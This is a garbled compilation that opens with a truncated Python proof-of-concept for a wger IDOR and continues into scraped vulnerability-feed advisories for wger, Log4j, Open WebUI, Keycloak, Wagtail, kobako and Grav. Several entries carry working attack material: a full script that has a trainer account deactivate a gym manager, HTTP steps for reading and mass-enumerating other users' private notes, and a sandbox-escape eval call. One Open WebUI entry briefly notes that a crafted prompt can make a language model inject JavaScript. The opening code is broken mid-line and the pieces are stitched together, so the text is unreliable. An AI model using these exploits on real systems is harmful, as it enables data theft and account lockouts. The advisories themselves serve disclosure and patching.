"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
 python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) ")
 print(f"Example: {sys.argv[0]} http://localhost:8000")
 sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
 PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
 Severity: CRITICAL
 CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
 r = requests.post(f"{API}/login/", json={
 "username": username, "password": password
 })
 if r.status_code == 200:
 return r.json().get("token")
 return None

def api_headers(token):
 return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
 print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
 sys.exit(1)
print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
 print(f" Registering attacker account...")
 r = requests.post(f"{API}/register/", json={
 "username": ATTACKER_USER,
 "password": ATTACKER_PASS,
 })
 if r.status_code in (200, 201):
 attacker_token = r.json().get("token")
 if not attacker_token:
 attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
 if not attacker_token:
 print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
 sys.exit(1)
print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")

# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
 "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f" Routine id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
 "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f" Day id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
 "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f" Slot id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
 "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f" SlotEntry id={victim_slot_entry_id} passes check)")
print(f" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)")
print(f" weight = 999")
print(f"

Affected package ranges reported by GitHub:
wger: <= 2.1
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)
https://kevwire.com/record/CVE-2026-43976
wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views) (Oct 7, 2026).
Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.

**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-c72h-82w6-rqfp).
Sources:
GitHub-reviewed advisory GHSA-c72h-82w6-rqfp: https://github.com/advisories/GHSA-c72h-82w6-rqfp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.

### Details

**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`

The same flawed comparison pattern appears across at least five views:

```python
# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
# user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
 return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member) # only filtered by member_id
```

When both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

**Affected endpoints**:
- `GET /en/gym/notes/list/user/ ` -> admin notes list view
- `GET /en/gym/documents/list/user/ ` -> documents list view
- `GET /en/gym/contract/list/ ` -> contracts list view
- `GET /en/gym/user/ /config` -> user config view
- `GET /en/gym/user/ /permissions` -> permission edit view

**Suggested patch**:

```diff
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
- notes = AdminUserNote.objects.filter(member=member)
+ notes = AdminUserNote.objects.filter(
+ member=member,
+ member__userprofile__gym_id=request.user.userprofile.gym_id,
+ )
```

Extract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift.

### PoC

Tested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded).

**Step 1** - Authenticate as trainer with required perms and gym=None:

```
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
```

**Step 2** - Read victim's private admin notes:

```
GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
 "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
 "PHASE4_SECRET_SALARY_100K"
```

**Step 3** - Read victim's documents and contracts (same pattern):

```
GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed
```

**Step 4** (optional) - Mass enumeration across all gym=None users:

```
Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)
```

**RBAC Disproof Protocol**:
- Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
- Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403)
- Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

### Impact

An authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can:

1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records).
2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
3. Read all gym contracts (financial terms, subscription details).
4. Read user configuration details.
5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

**Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.

**Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.

Affected package ranges reported by GitHub:
wger: <= 2.1
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### wger: Trainer Privilege Escalation - Improper Privilege Management
https://kevwire.com/record/CVE-2026-46434
wger: Trainer Privilege Escalation - Improper Privilege Management (Oct 7, 2026).
A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-x249-cx55-2h87).
Sources:
GitHub-reviewed advisory GHSA-x249-cx55-2h87: https://github.com/advisories/GHSA-x249-cx55-2h87
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

### Details

`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:

```python
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
```

`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:

```python
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
 def has_permission(self):
 for permission in self.get_permission_required():
 if self.request.user.has_perm(permission):
 return True # /deactivate
```

The manager's account is immediately set to `is_active = False`. The manager can no longer log in.

#### Proof of Concept Script

```python
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
 python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) ")
 print(f"Example: {sys.argv[0]} http://localhost:8000")
 sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
 PoC: Trainer -> Manager Privilege Escalation
 Severity: HIGH
 CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
 r = requests.post(f"{API}/login/", json={
 "username": username, "password": password
 })
 if r.status_code == 200:
 return r.json().get("token")
 return None

def api_headers(token):
 return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
 Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
 username=MANAGER_USER,
 defaults={"is_active": True}
)
if created:
 manager.set_password(MANAGER_PASS)
 manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f" Groups: {[g.name for g in manager.groups.all()]}")
print(f" is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
 username=TRAINER_USER,
 defaults={"is_active": True}
)
if created:
 trainer.set_password(TRAINER_PASS)
 trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f" Groups: {[g.name for g in trainer.groups.all()]}")

# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"

# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f" ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n GET /en/user/{manager.id}/deactivate")
print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f" Response: HTTP {resp.status_code}")

# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
 print("""
 +----------------------------------------------------------+
 | VULNERABILITY CONFIRMED |
 | |
 | A gym_trainer successfully deactivated a gym_manager! |
 | No privilege hierarchy check prevents this. |
 | The trainer can now lock out all managers from the gym. |
 +----------------------------------------------------------+
""")
 manager.is_active = True
 manager.save()
 print(" [+] Cleanup: Manager re-activated")
else:
 print("\n Manager is still active - NOT vulnerable")
```

#### Proof of Concept Output

```
=====================================================================
 PoC: Trainer -> Manager Privilege Escalation
 Severity: HIGH
 CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
 Groups: ['gym_manager']
 is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
 Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
 ATTACK: Trainer deactivating gym manager account
=================================================================

 Trainer login: HTTP 200
 GET http://localhost/en/u

Affected package ranges reported by GitHub:
wger: <= 2.1
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Log4j 1 to Log4j 2 bridge: silent log event loss in Log4j1XmlLayout due to unescaped XML 1.0 forbidden characters
https://kevwire.com/record/CVE-2026-34479
Apache Log4j 1 to Log4j 2 bridge: silent log event loss in Log4j1XmlLayout due to unescaped XML 1.0 forbidden characters (Apr 10, 2026).
The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.

Two groups of users are affected:
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-h383-gmxw-35v2).
Sources:
GitHub-reviewed advisory GHSA-h383-gmxw-35v2: https://github.com/advisories/GHSA-h383-gmxw-35v2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.

Two groups of users are affected:

* Those using `Log4j1XmlLayout` directly in a Log4j Core 2 configuration file.
* Those using the Log4j 1 configuration compatibility layer with `org.apache.log4j.xml.XMLLayout` specified as the layout class.

Users are advised to upgrade to Apache Log4j 1-to-Log4j 2 bridge version `2.25.4`, which corrects this issue.

> [!NOTE]
> The Apache Log4j 1-to-Log4j 2 bridge is deprecated and will not be present in Log4j 3. Users are encouraged to consult the
> [Log4j 1 to Log4j 2 migration guide](https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html), and specifically the section on eliminating reliance on the bridge.

Affected package ranges reported by GitHub:
org.apache.logging.log4j:log4j-core: >= 2.7, < 2.25.4
org.apache.logging.log4j:log4j-core: >= 3.0.0-beta1, <= 3.0.0-beta2
Action: GitHub lists first patched versions: org.apache.logging.log4j:log4j-core: 2.25.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI has vulnerable dependency on starlette via fastapi
https://kevwire.com/record/GHSA-w466-2wfc-8g58
Open WebUI has vulnerable dependency on starlette via fastapi (Mar 20, 2025).
In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3.
CVSS 7.5 (version 3.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-w466-2wfc-8g58).
Sources:
GitHub-reviewed advisory GHSA-w466-2wfc-8g58: https://github.com/advisories/GHSA-w466-2wfc-8g58
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3.

Affected package ranges reported by GitHub:
open-webui: < 0.5.8
Action: GitHub lists first patched versions: open-webui: 0.5.8. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI Stored Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2024-6706
Open WebUI Stored Cross-Site Scripting Vulnerability (Aug 8, 2024).
Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page.
CVSS 5.1 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-5jp3-wp5v-5363).
Sources:
GitHub-reviewed advisory GHSA-5jp3-wp5v-5363: https://github.com/advisories/GHSA-5jp3-wp5v-5363
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page.

Affected package ranges reported by GitHub:
open-webui: < 0.3.14
Action: GitHub lists first patched versions: open-webui: 0.3.14. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### open-webui Insecure Direct Object Reference (IDOR) vulnerability
https://kevwire.com/record/CVE-2024-7041
open-webui Insecure Direct Object Reference (IDOR) vulnerability (Oct 9, 2024).
An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization.
CVSS 5.7 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-xcvc-5hgv-phqg).
Sources:
GitHub-reviewed advisory GHSA-xcvc-5hgv-phqg: https://github.com/advisories/GHSA-xcvc-5hgv-phqg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization.

Affected package ranges reported by GitHub:
open-webui: < 0.6.3
Action: GitHub lists first patched versions: open-webui: 0.6.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP: Secure attribute not enforced for shared cookie
https://kevwire.com/record/CVE-2026-111063
AIOHTTP: Secure attribute not enforced for shared cookie (Oct 19, 2026).
The Secure attribute was not being enforced for the shared cookie.

It may be possible to send a shared cookie marked Secure through an unencrypted request.
CVSS 6.3 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-494j-54xm-rwp3).
Sources:
GitHub-reviewed advisory GHSA-494j-54xm-rwp3: https://github.com/advisories/GHSA-494j-54xm-rwp3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

The Secure attribute was not being enforced for the shared cookie.

### Impact

It may be possible to send a shared cookie marked Secure through an unencrypted request.

Affected package ranges reported by GitHub:
aiohttp: <= 3.14.3
Action: GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Keycloak: Unauthorized access via improper validation of encrypted SAML assertions
https://kevwire.com/record/CVE-2026-2092
Keycloak: Unauthorized access via improper validation of encrypted SAML assertions (Jul 2, 2026).
Keycloak's SAML broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response, injecting an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-794g-x443-36f7).
Sources:
GitHub-reviewed advisory GHSA-794g-x443-36f7: https://github.com/advisories/GHSA-794g-x443-36f7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Keycloak's SAML broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response, injecting an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure.

Affected package ranges reported by GitHub:
org.keycloak:keycloak-services: <= 26.2.5
org.keycloak:keycloak-services: >= 26.3.0, <= 26.4.7
org.keycloak:keycloak-services: >= 26.5.0, < 26.5.5
Action: GitHub lists first patched versions: org.keycloak:keycloak-services: 26.5.5. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wagtail: Improper restriction handling on Page translation API endpoint
https://kevwire.com/record/GHSA-jm5p-837g-rv8g
Wagtail: Improper restriction handling on Page translation API endpoint (Aug 20, 2026).
* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)
* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-jm5p-837g-rv8g).
Sources:
GitHub-reviewed advisory GHSA-jm5p-837g-rv8g: https://github.com/advisories/GHSA-jm5p-837g-rv8g
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Impact
A CMS user with the "submit translations" permission, could use the Admin API's "copy for translation" endpoint to copy an existing page that they do not have edit access to, allowing them to view its contents.

### Patches
Patched versions have been released as Wagtail 7.0.9, 7.3.4, 7.4.3 and 8.0rc2.

### Workarounds
N/A

### Acknowledgements
Many thanks to tinyb0y for reporting this issue.

### For more information
If you have any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)
* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).

Affected package ranges reported by GitHub:
wagtail: < 7.0.9
wagtail: = 8.0rc1
wagtail: >= 7.1rc1, < 7.3.4
wagtail: >= 7.4rc1, < 7.4.3
Action: GitHub lists first patched versions: wagtail: 7.0.9; wagtail: 8.0rc2; wagtail: 7.3.4; wagtail: 7.4.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kobako Sandbox Escape: guest eval reaches host RCE via method_missing → public_send (any bound Service)
https://kevwire.com/record/CVE-2026-55107
kobako Sandbox Escape: guest eval reaches host RCE via method_missing → public_send (any bound Service) (Aug 18, 2026).
```ruby
target.public_send(method.to_sym, *args, **kwargs, &block)
```

`public_send` can invoke any public method, including Ruby's ambient
reflection surface. A guest pivots through the public `send` into otherwise
private Kernel methods: a dispatch request with `method = "send"` and
`args = [:eval, " "]` evaluates to `target.send(:eval, " ")`,
running attacker-controlled Ruby in the host. Any bound Service object is
sufficient — no Service-specific behavior is required.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-7pwq-q9jf-539h).
Sources:
GitHub-reviewed advisory GHSA-7pwq-q9jf-539h: https://github.com/advisories/GHSA-7pwq-q9jf-539h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary
A guest mruby script running inside the Kobako sandbox can execute arbitrary
Ruby in the host process, fully escaping the sandbox.

### Details
A host embeds bound "Service" objects that guest scripts call across the wasm
boundary through the transport dispatcher. The dispatcher passed the
guest-supplied method name straight to `Object#public_send` on the bound
object, with no restriction to the object's own methods:

```ruby
target.public_send(method.to_sym, *args, **kwargs, &block)
```

`public_send` can invoke any public method, including Ruby's ambient
reflection surface. A guest pivots through the public `send` into otherwise
private Kernel methods: a dispatch request with `method = "send"` and
`args = [:eval, " "]` evaluates to `target.send(:eval, " ")`,
running attacker-controlled Ruby in the host. Any bound Service object is
sufficient — no Service-specific behavior is required.

### Proof of Concept
A guest call equivalent to:

```
Service.send(:eval, " ")
```

executes in the host process and can read or modify host state, spawn
processes, and so on.

### Impact
Complete sandbox escape leading to remote code execution in the host process,
defeating the gem's central guarantee of isolating untrusted mruby scripts.
Any deployment that runs untrusted or attacker-influenced scripts is affected.
All released versions (0.1.0 through 0.9.0) are vulnerable; the dispatcher
carried the same unguarded `public_send` sink under three successive names
(`registry` → `rpc` → `transport`).

### Patches
Fixed in 0.9.1. The dispatcher now rejects any method whose resolved owner is
a core/meta module (`BasicObject`, `Kernel`, `Object`, `Module`, `Class`), so
only methods the bound object itself defines — or dynamically handles via
`method_missing` — remain reachable. The ambient reflection methods (`send`,
`__send__`, `public_send`, `instance_eval`, `instance_exec`, `method`,
`instance_variable_get`, …) are all owned by those modules and are blocked.

### Workarounds
None within the affected versions. Until you can upgrade, do not bind any
host Service object into a sandbox that runs untrusted scripts. Upgrade to
0.9.1.

### References
- GHSA-7pwq-q9jf-539h
- Fix commit: 64f8470

### Credits
Reported and fixed by Ahmed Al Hafoudh.

Affected package ranges reported by GitHub:
kobako: >= 0.1.0, <= 0.9.0
Action: GitHub lists first patched versions: kobako: 0.9.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure
https://kevwire.com/record/CVE-2026-69088
Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure (Sep 17, 2026).
`Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`) classifies any string containing a colon (`str_contains($name, ":")`) or a namespace backslash as dangerous — so a qualified `Class::method` string would be rejected *if* it ever reached this function. The `!str_contains($function, '::')` condition in `isSafeDynamicCall()` ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate `Class::method` option-providers is a plausible reading of the surrounding code, but the intent is not established here.)

This is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (`admin.pages_twig`) from plain page editing (`admin.pages`), so invoking arbitrary methods from an `admin.pages`-authored page is a genuine trust-boundary bypass, not editor capability by design.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-7pgq-cr25-xvc8).
Sources:
GitHub-reviewed advisory GHSA-7pgq-cr25-xvc8: https://github.com/advisories/GHSA-7pgq-cr25-xvc8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary
Grav CMS's blueprint dynamic-field callable guard can be bypassed with a fully-qualified `Class::method` string, letting an account with only page-editing rights (`admin.pages`, not super-admin) plant a directive in a page's form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments. Using built-in gadget methods this yields, at minimum, arbitrary reading of any server-readable file (disclosed to anonymous visitors of the crafted page) and arbitrary creation/copying of files and directories under the web-server account.

### Details
`Blueprint::isSafeDynamicCall()` (`system/src/Grav/Common/Data/Blueprint.php`, method around line 488) is meant to block dangerous callables named in a blueprint's dynamic-field directives (`data-*@`). It only consults its dangerous-name denylist when the callable string does **not** contain `::`:
```php
